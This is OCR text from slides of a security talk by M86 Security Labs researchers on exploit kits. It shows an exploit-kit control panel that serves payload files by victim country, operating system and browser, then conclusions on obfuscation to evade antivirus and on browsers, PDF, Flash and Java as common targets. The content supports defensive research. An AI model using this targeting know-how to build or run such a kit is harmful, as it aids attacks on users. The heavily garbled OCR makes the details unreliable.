Config Reload

Plugins Reload
Log-Out I

Browse...| Upload File

. . Filename with MDS Size:
Version: 4.2 (build 4281)
Built: Mar 12 2010
Uptime: 72:25:48 I
Server Time: Manage Ru es
Mon Sep 6 23:18:51 2010

Country 105

Country list from GeolP, Win9s
Win9s
WinME
WinNT
WinxP
WinZK
Win2K3
WinVista
WinVista_64
Win7
Win7_64
Unknown

For example, US for United States, FR for France and etc.

Example of rules

UploadFile:US:WinXP:Firefox logo-1ceSdf3ba43decf2f9dS244a684ad924.dat
UploadFile:US:WinVista logo-4fagcblba414ecf2fdaS24ect10adal0.dat
UploadFile:DE,FR:WinXP logo-4fagcblbad14ecf2fdaS24ec610adal0.dat
UploadFile:Ca,M¥ logo-08fbcdbade70c6bbcS38bocafS44fb21 . dat

UploadFile logo-a29c86139a30997cdd32de2cdagbec?2. dat

Your rules

|UploadF11e /etc/fox4/slots/manager/8.1.dat

SECURITY
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Conclusion

« Exploit kits are using the same developing

methods of a regular application

- Exploit kits are using a complicated
obfuscation to handle AVs and IPSs

« Exploit kits usually uses known exploits

* Cyber Criminal making good money by

using exploit kits




S
Conclusion

* Four Horsemen of the Apocalypse:
* Browsers
* PDF
* Flash

e Java

_=

SECURITY
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Thank you!

Questions?
>>

Yaniv Miron - Yaniv.Miron@MSGSex.u/ritv.com
Daniel Chechik — Daniel.Chechik@M86Security.com

M86 Security Labs - http:/labsin86securi

M86 Security Labs
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